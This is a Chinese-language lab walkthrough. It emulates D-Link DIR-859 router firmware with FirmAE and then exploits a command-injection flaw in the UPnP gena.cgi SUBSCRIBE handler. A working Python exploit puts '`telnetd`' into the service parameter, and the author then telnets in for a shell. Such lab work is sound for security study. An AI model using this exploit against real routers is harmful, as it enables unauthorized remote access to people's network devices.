1.FirmAE 工具安装
首先拉取FirmAE 工具仓库
git clone --recursive https://github.com/pr0v3rbs/FirmAE

运行下载脚本

运行./install.sh进行安装

2.下载固件
本文模拟的是设备型号为D-Link DIR-859
下载地址:
http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859
下载后得到DIR859Ax_FW105b03.bin固件文件

3.FirmAE工具初始化
在FirmAE工具目录下执行./init.sh进行初始化

4.安装binwalk
这里使用FirmAE工具目录下的binwalk安装程序进行安装
cd binwalk-2.3.3/python3 setup.py install

5.模拟运行固件
执行如下命令对固件进行解压
binwalk -Me /root/DIR859_FW102b03.bin --run-as=root

执行如下命令来模拟运行固件
sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin

使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link DIR-859路由器
查看端口

使用49152端口
EXP内容如下:
import socketimport osfrom time import sleep
def httpSUB(server, port, shell_file): con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" Payload += "Host: " + str(server) + ":" + str(port) + "\n" Payload += "Callback: <http://192.168.126.128:33/>\n" Payload += "NT: upnp:event\n" Payload += "Timeout: Second-1800\n" Payload += "Accept-Encoding: gzip, deflate\n" Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n" print(Payload) sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(Payload.encode()) results = con.recv(4096)
sleep(1) print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')
执行EXP

使用nmap扫描可以看到已成功通过漏洞开启了telnetd服务

执行telnet 192.168.0.1,成功获取shell
